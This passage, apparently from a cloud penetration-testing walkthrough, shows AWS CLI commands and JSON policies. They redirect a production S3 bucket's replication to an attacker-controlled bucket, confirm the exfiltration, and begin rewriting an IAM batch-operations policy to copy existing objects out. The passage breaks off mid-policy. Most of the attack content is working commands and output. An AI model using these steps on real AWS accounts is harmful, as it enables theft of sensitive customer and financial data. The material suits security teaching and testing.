</span></span><span style="display:flex;"><span>              <span style="color:#f92672">&#34;StorageClass&#34;</span>: <span style="color:#e6db74">&#34;STANDARD&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#f92672">&#34;ReplicationTime&#34;</span>: {
</span></span><span style="display:flex;"><span>                  <span style="color:#f92672">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Enabled&#34;</span>,
</span></span><span style="display:flex;"><span>                  <span style="color:#f92672">&#34;Time&#34;</span>: {
</span></span><span style="display:flex;"><span>                      <span style="color:#f92672">&#34;Minutes&#34;</span>: <span style="color:#ae81ff">15</span>
</span></span><span style="display:flex;"><span>                  }
</span></span><span style="display:flex;"><span>              },
</span></span><span style="display:flex;"><span>              <span style="color:#f92672">&#34;Metrics&#34;</span>: {
</span></span><span style="display:flex;"><span>                  <span style="color:#f92672">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Enabled&#34;</span>,
</span></span><span style="display:flex;"><span>                  <span style="color:#f92672">&#34;EventThreshold&#34;</span>: {
</span></span><span style="display:flex;"><span>                      <span style="color:#f92672">&#34;Minutes&#34;</span>: <span style="color:#ae81ff">15</span>
</span></span><span style="display:flex;"><span>                  }
</span></span><span style="display:flex;"><span>              }
</span></span><span style="display:flex;"><span>          },
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;DeleteMarkerReplication&#34;</span>: {
</span></span><span style="display:flex;"><span>              <span style="color:#f92672">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Disabled&#34;</span>
</span></span><span style="display:flex;"><span>          }
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>  ]
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>We uploaded the policy and got no errors.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester s3api put-bucket-replication --bucket cust-txn-prod-4c8691723a37 --replication-configuration file://replicateAll.json
</span></span></code></pre></div><p>We check the policy to be sure, and we can confirm that we have permissions to modify.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester s3api get-bucket-replication --bucket cust-txn-prod-4c8691723a37
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;ReplicationConfiguration&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Role&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::314031133559:role/s3_replication_role_for_source_bucket&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Rules&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;ID&#34;</span>: <span style="color:#e6db74">&#34;replicateAll-test&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;Priority&#34;</span>: 1,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;Filter&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Prefix&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Enabled&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;Destination&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Bucket&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-replica-4c8691723a37&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;StorageClass&#34;</span>: <span style="color:#e6db74">&#34;STANDARD&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;ReplicationTime&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Enabled&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;Time&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;Minutes&#34;</span>: <span style="color:#ae81ff">15</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Metrics&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Enabled&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;EventThreshold&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;Minutes&#34;</span>: <span style="color:#ae81ff">15</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;DeleteMarkerReplication&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Disabled&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We have confirmed that we have access to modify the Replication Rules and shall modify the replication target to change the replication target.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;Role&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::314031133559:role/s3_replication_role_for_source_bucket&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;Rules&#34;</span>: [
</span></span><span style="display:flex;"><span>      {
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;ID&#34;</span>: <span style="color:#e6db74">&#34;replicateAll-test&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Priority&#34;</span>: <span style="color:#ae81ff">1</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Filter&#34;</span>: {
</span></span><span style="display:flex;"><span>              <span style="color:#f92672">&#34;Prefix&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>          },
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Enabled&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Destination&#34;</span>: {
</span></span><span style="display:flex;"><span>              <span style="color:#f92672">&#34;Bucket&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:s3:::s3-secure-backup-4c8691723a37&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#f92672">&#34;StorageClass&#34;</span>: <span style="color:#e6db74">&#34;STANDARD&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#f92672">&#34;ReplicationTime&#34;</span>: {
</span></span><span style="display:flex;"><span>                  <span style="color:#f92672">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Enabled&#34;</span>,
</span></span><span style="display:flex;"><span>                  <span style="color:#f92672">&#34;Time&#34;</span>: {
</span></span><span style="display:flex;"><span>                      <span style="color:#f92672">&#34;Minutes&#34;</span>: <span style="color:#ae81ff">15</span>
</span></span><span style="display:flex;"><span>                  }
</span></span><span style="display:flex;"><span>              },
</span></span><span style="display:flex;"><span>              <span style="color:#f92672">&#34;Metrics&#34;</span>: {
</span></span><span style="display:flex;"><span>                  <span style="color:#f92672">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Enabled&#34;</span>,
</span></span><span style="display:flex;"><span>                  <span style="color:#f92672">&#34;EventThreshold&#34;</span>: {
</span></span><span style="display:flex;"><span>                      <span style="color:#f92672">&#34;Minutes&#34;</span>: <span style="color:#ae81ff">15</span>
</span></span><span style="display:flex;"><span>                  }
</span></span><span style="display:flex;"><span>              }
</span></span><span style="display:flex;"><span>          },
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;DeleteMarkerReplication&#34;</span>: {
</span></span><span style="display:flex;"><span>              <span style="color:#f92672">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Disabled&#34;</span>
</span></span><span style="display:flex;"><span>          }
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>  ]
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>We follow the sames steps as earlier and confirm the changes have been applied</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester s3api put-bucket-replication --bucket cust-txn-prod-4c8691723a37 --replication-configuration file://replicateAll.json
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile pentester s3api get-bucket-replication --bucket cust-txn-prod-4c8691723a37
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;ReplicationConfiguration&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Role&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::314031133559:role/s3_replication_role_for_source_bucket&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Rules&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;ID&#34;</span>: <span style="color:#e6db74">&#34;replicateAll-test&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;Priority&#34;</span>: 1,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;Filter&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Prefix&#34;</span>: <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Enabled&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;Destination&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Bucket&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:s3:::s3-secure-backup-4c8691723a37&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;StorageClass&#34;</span>: <span style="color:#e6db74">&#34;STANDARD&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;ReplicationTime&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Enabled&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;Time&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;Minutes&#34;</span>: <span style="color:#ae81ff">15</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Metrics&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Enabled&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;EventThreshold&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                            <span style="color:#e6db74">&#34;Minutes&#34;</span>: <span style="color:#ae81ff">15</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;DeleteMarkerReplication&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Status&#34;</span>: <span style="color:#e6db74">&#34;Disabled&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We will now test this is working correctly by uploading a new file to the production bucket and then see if we are able to retrieve it from the s3-secure-backup bucket.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester s3 cp new_message.txt s3://cust-txn-prod-4c8691723a37
</span></span><span style="display:flex;"><span>upload: ./new_message.txt to s3://cust-txn-prod-4c8691723a37/new_message.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile pentester s3 ls s3://s3-secure-backup-4c8691723a37
</span></span><span style="display:flex;"><span>2024-06-19 11:01:02         <span style="color:#ae81ff">48</span> new_message.txt
</span></span></code></pre></div><p>Success!  Anything that now goes into the production bucket will be replicated to our bucket including any sensitive or financial data.</p>
<p><strong>Use Batch-Ops to exfiltrate existing S3 objects</strong></p>
<p>It is reasonable to think that if we have permissions to change S3 replication configuration that we would have the same with regards to Batch Operations.  We will first get details on the policy and its configuration</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester iam get-policy --policy-arn arn:aws:iam::314031133559:policy/s3_batch_operations_policy
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Policy&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PolicyName&#34;</span>: <span style="color:#e6db74">&#34;s3_batch_operations_policy&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PolicyId&#34;</span>: <span style="color:#e6db74">&#34;ANPAUSHNW2N32HBDH3K5M&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::314031133559:policy/s3_batch_operations_policy&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;DefaultVersionId&#34;</span>: <span style="color:#e6db74">&#34;v1&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;AttachmentCount&#34;</span>: 1,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PermissionsBoundaryUsageCount&#34;</span>: 0,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;IsAttachable&#34;</span>: true,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Description&#34;</span>: <span style="color:#e6db74">&#34;Policy for S3 Batch Operations&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;2024-06-19T01:13:40+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;UpdateDate&#34;</span>: <span style="color:#e6db74">&#34;2024-06-19T01:13:40+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Tags&#34;</span>: <span style="color:#f92672">[]</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile pentester iam get-policy-version --policy-arn arn:aws:iam::314031133559:policy/s3_batch_operations_policy --version-id v1
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;PolicyVersion&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Document&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Statement&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;s3:InitiateReplication&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;s3:GetReplicationConfiguration&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;s3:PutInventoryConfiguration&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Resource&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-prod-4c8691723a37&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-prod-4c8691723a37/*&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;s3:GetObject&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;s3:GetObjectVersion&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;s3:PutObject&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-prod-4c8691723a37/*&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;s3:PutObject&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-replica-4c8691723a37/*&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;VersionId&#34;</span>: <span style="color:#e6db74">&#34;v1&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;IsDefaultVersion&#34;</span>: true,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;2024-06-19T01:13:40+00:00&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>With a copy of the policy, we shall modify it to allow the action <code>s3:PutObject</code> to allow access to the s3-secure-bucket</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;Statement&#34;</span>: [
</span></span><span style="display:flex;"><span>      {
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Action&#34;</span>: [
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;s3:InitiateReplication&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;s3:GetReplicationConfiguration&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;s3:PutInventoryConfiguration&#34;</span>
</span></span><span style="display:flex;"><span>          ],
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Resource&#34;</span>: [
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-prod-4c8691723a37&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-prod-4c8691723a37/*&#34;</span>
</span></span><span style="display:flex;"><span>          ]
</span></span><span style="display:flex;"><span>      },
</span></span><span style="display:flex;"><span>      {
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Action&#34;</span>: [
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;s3:GetObject&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;s3:GetObjectVersion&#34;</span>,
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;s3:PutObject&#34;</span>
</span></span><span style="display:flex;"><span>          ],
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-prod-4c8691723a37/*&#34;</span>
</span></span><span style="display:flex;"><span>      },
</span></span><span style="display:flex;"><span>      {
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;s3:PutObject&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:s3:::s3-secure-backup-4c8691723a37/*&#34;</span>
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>  ],
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>We then upload the modified policy document and see that this is successful and the VersionId is incremented.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester iam create-policy-version --policy-arn arn:aws:iam::314031133559:policy/s3_batch_operations_policy --policy-document file://s3_batch_operations_policy.json
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;PolicyVersion&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;VersionId&#34;</span>: <span style="color:#e6db74">&#34;v2&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;IsDefaultVersion&#34;</span>: false,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;2024-06-19T03:34:48+00:00&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>Next we need to set permissions on the s3-secure-bucket and to help with that, we will copy the policy from the replica and use that as our base.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester s3api get-bucket-policy --bucket cust-txn-replica-4c8691723a37 | jq -r <span style="color:#e6db74">&#39;.Policy&#39;</span> | jq .
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;Statement&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Principal&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Service&#34;</span>: <span style="color:#e6db74">&#34;s3.amazonaws.com&#34;</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;s3:PutObject&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-replica-4c8691723a37/*&#34;</span>,
</span></span><span style="display:flex;"><span>      <span style="color:#e6db74">&#34;Condition&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;StringEquals&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;aws:SourceAccount&#34;</span>: <span style="color:#e6db74">&#34;036528129738&#34;</span>,
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;s3:x-amz-acl&#34;</span>: <span style="color:#e6db74">&#34;bucket-owner-full-control&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;ArnLike&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>          <span style="color:#e6db74">&#34;aws:SourceArn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:s3:::cust-txn-prod-4c8691723a37&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We modify this by updating the Resource from the replica bucket to the s3-secure-bucket.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;Statement&#34;</span>: [
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
